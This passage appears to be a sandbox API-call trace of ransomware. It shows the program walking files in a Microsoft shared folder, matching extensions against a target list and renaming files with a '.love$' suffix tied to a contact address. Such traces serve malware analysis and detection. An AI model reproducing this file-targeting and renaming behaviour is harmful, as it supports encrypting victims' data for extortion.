(lpString1=".7z", lpString2="xml") returned -1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.604] lstrlenW (lpString=".dbf") returned 4 [0105.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.605] lstrlenW (lpString=".1cd") returned 4 [0105.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.605] lstrlenW (lpString=".jpg") returned 4 [0105.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.605] lstrlenW (lpString=".doc") returned 4 [0105.605] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString=".docx") returned 5 [0105.605] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.605] lstrlenW (lpString=".pdf") returned 4 [0105.605] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString=".xls") returned 4 [0105.605] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString=".xlsx") returned 5 [0105.605] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.605] lstrlenW (lpString=".ppt") returned 4 [0105.605] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.605] lstrlenW (lpString=".zip") returned 4 [0105.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.605] lstrlenW (lpString=".rar") returned 4 [0105.605] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString=".bz2") returned 4 [0105.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.605] lstrlenW (lpString=".7z") returned 3 [0105.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.606] lstrlenW (lpString=".dbf") returned 4 [0105.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.606] lstrlenW (lpString=".1cd") returned 4 [0105.606] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.606] lstrlenW (lpString=".jpg") returned 4 [0105.606] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.606] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.606] lstrlenW (lpString="boxed-delete.avi") returned 16 [0105.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.888] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=48936) returned 1 [0105.889] CloseHandle (hObject=0x2b8) returned 1 [0105.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0105.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.552] lstrlenW (lpString=".doc") returned 4 [0106.552] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.552] lstrlenW (lpString=".docx") returned 5 [0106.552] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0106.552] lstrlenW (lpString=".pdf") returned 4 [0106.552] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.552] lstrlenW (lpString=".xls") returned 4 [0106.552] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.552] lstrlenW (lpString=".xlsx") returned 5 [0106.553] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0106.553] lstrlenW (lpString=".ppt") returned 4 [0106.553] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.553] lstrlenW (lpString=".zip") returned 4 [0106.553] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString=".rar") returned 4 [0106.553] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString=".bz2") returned 4 [0106.553] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString=".7z") returned 3 [0106.553] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.553] lstrlenW (lpString=".dbf") returned 4 [0106.553] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.553] lstrlenW (lpString=".1cd") returned 4 [0106.553] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.553] lstrlenW (lpString=".jpg") returned 4 [0106.553] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.553] lstrlenW (lpString=".doc") returned 4 [0106.553] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.553] lstrlenW (lpString=".docx") returned 5 [0106.553] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0106.553] lstrlenW (lpString=".pdf") returned 4 [0106.553] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString=".xls") returned 4 [0106.554] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString=".xlsx") returned 5 [0106.554] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0106.554] lstrlenW (lpString=".ppt") returned 4 [0106.554] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.554] lstrlenW (lpString=".zip") returned 4 [0106.554] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString=".rar") returned 4 [0106.554] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString=".bz2") returned 4 [0106.554] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString=".7z") returned 3 [0106.554] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.554] lstrlenW (lpString=".dbf") returned 4 [0106.554] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.554] lstrlenW (lpString=".1cd") returned 4 [0106.554] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0106.554] lstrlenW (lpString=".jpg") returned 4 [0106.554] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.554] lstrcmpiW (lpString1=".dat", lpString2=".love$") returned -1 [0106.554] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0106.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.783] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=1100592) returned 1 [0106.783] CloseHandle (hObject=0x368) returned 1 [0106.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0106.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.783] lstrlenW (lpString=".doc") returned 4 [0106.783] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0106.783] lstrlenW (lpString=".docx") returned 5 [0106.784] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0106.784] lstrlenW (lpString=".pdf") returned 4 [0106.784] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0106.784] lstrlenW (lpString=".xls") returned 4 [0106.784] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0106.784] lstrlenW (lpString=".xlsx") returned 5 [0106.784] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0106.784] lstrlenW (lpString=".ppt") returned 4 [0106.784] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0106.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.784] lstrlenW (lpString=".zip") returned 4 [0106.784] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0106.784] lstrlenW (lpString=".rar") returned 4 [0106.784] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0106.784] lstrlenW (lpString=".bz2") returned 4 [0106.784] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0106.784] lstrlenW (lpString=".7z") returned 3 [0106.784] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0106.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.784] lstrlenW (lpString=".dbf") returned 4 [0106.784] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0106.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.784] lstrlenW (lpString=".1cd") returned 4 [0106.784] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0106.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.784] lstrlenW (lpString=".jpg") returned 4 [0106.784] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.785] lstrlenW (lpString=".doc") returned 4 [0106.785] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString=".docx") returned 5 [0106.785] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0106.785] lstrlenW (lpString=".pdf") returned 4 [0106.785] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString=".xls") returned 4 [0106.785] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString=".xlsx") returned 5 [0106.785] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0106.785] lstrlenW (lpString=".ppt") returned 4 [0106.785] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.785] lstrlenW (lpString=".zip") returned 4 [0106.785] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString=".rar") returned 4 [0106.785] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString=".bz2") returned 4 [0106.785] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0106.785] lstrlenW (lpString=".7z") returned 3 [0106.785] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0106.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.785] lstrlenW (lpString=".dbf") returned 4 [0106.785] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0106.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.785] lstrlenW (lpString=".1cd") returned 4 [0106.785] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0106.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0106.786] lstrlenW (lpString=".jpg") returned 4 [0106.786] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0106.786] lstrcmpiW (lpString1=".dat", lpString2=".love$") returned -1 [0106.786] lstrlenW (lpString="hwrusash.dat") returned 12 [0106.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.786] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3380096) returned 1 [0106.786] CloseHandle (hObject=0x368) returned 1 [0106.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0106.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[im.online@aol.com].love$")) returned 0 [0106.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.787] lstrlenW (lpString=".doc") returned 4 [0106.787] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0106.787] lstrlenW (lpString=".docx") returned 5 [0106.787] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0106.787] lstrlenW (lpString=".pdf") returned 4 [0106.787] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0106.787] lstrlenW (lpString=".xls") returned 4 [0106.787] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0106.787] lstrlenW (lpString=".xlsx") returned 5 [0106.787] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0106.787] lstrlenW (lpString=".ppt") returned 4 [0106.787] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0106.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.787] lstrlenW (lpString=".zip") returned 4 [0106.787] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0106.787] lstrlenW (lpString=".rar") returned 4 [0106.787] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0106.787] lstrlenW (lpString=".bz2") returned 4 [0106.787] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0106.787] lstrlenW (lpString=".7z") returned 3 [0106.788] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.788] lstrlenW (lpString=".dbf") returned 4 [0106.788] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.788] lstrlenW (lpString=".1cd") returned 4 [0106.788] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.788] lstrlenW (lpString=".jpg") returned 4 [0106.788] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.788] lstrlenW (lpString=".doc") returned 4 [0106.788] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString=".docx") returned 5 [0106.788] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0106.788] lstrlenW (lpString=".pdf") returned 4 [0106.788] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString=".xls") returned 4 [0106.788] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString=".xlsx") returned 5 [0106.788] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0106.788] lstrlenW (lpString=".ppt") returned 4 [0106.788] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.788] lstrlenW (lpString=".zip") returned 4 [0106.788] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0106.788] lstrlenW (lpString=".rar") returned 4 [0106.789] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0106.789] lstrlenW (lpString=".bz2") returned 4 [0106.789] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0106.789] lstrlenW (lpString=".7z") returned 3 [0106.789] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.789] lstrlenW (lpString=".dbf") returned 4 [0106.789] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.789] lstrlenW (lpString=".1cd") returned 4 [0106.789] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0106.789] lstrlenW (lpString=".jpg") returned 4 [0106.789] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0106.789] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.789] lstrlenW (lpString="ipsar.xml") returned 9 [0106.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.802] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2418) returned 1 [0106.802] CloseHandle (hObject=0x368) returned 1 [0106.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0106.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.803] lstrlenW (lpString=".doc") returned 4 [0106.803] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.803] lstrlenW (lpString=".docx") returned 5 [0106.803] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0106.803] lstrlenW (lpString=".pdf") returned 4 [0106.803] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.803] lstrlenW (lpString=".xls") returned 4 [0106.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.803] lstrlenW (lpString=".xlsx") returned 5 [0106.803] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0106.803] lstrlenW (lpString=".ppt") returned 4 [0106.803] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.803] lstrlenW (lpString=".zip") returned 4 [0106.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.804] lstrlenW (lpString=".rar") returned 4 [0106.804] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString=".bz2") returned 4 [0106.804] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString=".7z") returned 3 [0106.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.804] lstrlenW (lpString=".dbf") returned 4 [0106.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.804] lstrlenW (lpString=".1cd") returned 4 [0106.804] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.804] lstrlenW (lpString=".jpg") returned 4 [0106.804] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.804] lstrlenW (lpString=".doc") returned 4 [0106.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString=".docx") returned 5 [0106.804] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0106.804] lstrlenW (lpString=".pdf") returned 4 [0106.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString=".xls") returned 4 [0106.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.804] lstrlenW (lpString=".xlsx") returned 5 [0106.805] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0106.805] lstrlenW (lpString=".ppt") returned 4 [0106.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.805] lstrlenW (lpString=".zip") returned 4 [0106.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.805] lstrlenW (lpString=".rar") returned 4 [0106.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.805] lstrlenW (lpString=".bz2") returned 4 [0106.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.805] lstrlenW (lpString=".7z") returned 3 [0106.805] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.805] lstrlenW (lpString=".dbf") returned 4 [0106.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.805] lstrlenW (lpString=".1cd") returned 4 [0106.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0106.805] lstrlenW (lpString=".jpg") returned 4 [0106.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.805] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.805] lstrlenW (lpString="ipscat.xml") returned 10 [0106.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.806] GetFileSizeEx (in: hFile=0x368, 